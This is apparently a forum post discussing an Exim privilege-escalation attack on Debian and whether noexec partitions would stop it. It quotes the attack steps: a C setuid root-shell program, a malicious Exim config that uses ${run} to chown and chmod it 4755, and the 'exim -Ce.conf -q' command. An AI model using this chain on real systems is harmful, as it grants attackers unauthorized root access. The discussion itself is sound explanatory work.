sh ./test.sh' doesn't allow you to do anything that you can't do from the shell itself
As far as I can tell, and know, that above does allow a program to be run that is otherwise on a noexec partition. bsDaemon suggested that putting the mail spool on a noexec partition would stop this attack, but I don't think it will. I do know that I know enough to get by on Linux, but I also know I do not understand all the ins and outs of the system, so am perfectly willing to accept I am wrong about noexec partitions. I just don't think I am....
Part of TFA:
after that attacker gets shell with id of user Debian-exim and cwd
in /var/spool/exim4
then it put file there file setuid with trivial execution of root shell:
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}
and create another file e.conf with following content:
spool_directory = ${run{/bin/chown
root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}}
the he runs:
exim -Ce.conf -q
and gets suid bit on /var/spool/exim4/setuid
everything else is trivial.
So the file setuid is set to be executable as root via exim's feature of being able to run commands from its config file. At least, I think that is what is going on. As exim will need to open port 25 I guess the program sits on disk with the suid bit set, and once port 25 is opened it drops privileges to debian-exim. But it appears exim will also execute commands from a user specified config file, and it must be doing so before it drops its privs.
I happen to have a debian virtual machine here:
lintorrent:~# ls -l `which exim4`
-rwsr-xr-x 1 root root 695968 2008-09-30 19:27 /usr/sbin/exim4
Exim is on disk with a suid of root.
From the exim manpage:
-C <filelist>
This option causes Exim to find the run time configuration file from the given list instead of from the list specified by the CONFIGURE_FILE compile-time setting.[snip]
When this option is used by a caller other than root or the Exim user, and the list is different from the compiled-in list, Exim gives up its root privilege immediately, and runs with the real and effective uid and gid set to those of the caller.
Ahhh, because the initial exploit gives the attacker a shell as debian-exim, exim won't give up root as quick as if exim -CDodgyConfigFile is run as any other local user (apart from root). The person publicising the attack is keeping some details with himself and the exim devs, so I don't know exactly how that initial shell that is mentioned is presented. Does the attacker telnet into the server, start talking in SMTP, then just gets a shell responding after sending right secret phrase?
The final piece of the attack, going to root, summed up by "and gets suid bit on /var/spool/exim4/setuid \
everything else is trivial" could have the extra sh dropped in just in front of /var/spool/exim4/setuid. I do know that most Linux distros will ignore an suid of root on a shell script, but what is written to the mail spool isn't a shell script. It looks like C (I'm no programmer), and I didn't know you could execute uncompiled code like that... and trying it here I can't get it to work. Though I think the really important bit is that Exim will execute as root commands in a config file if exim is run as root or as the exim user (debian-exim in this case).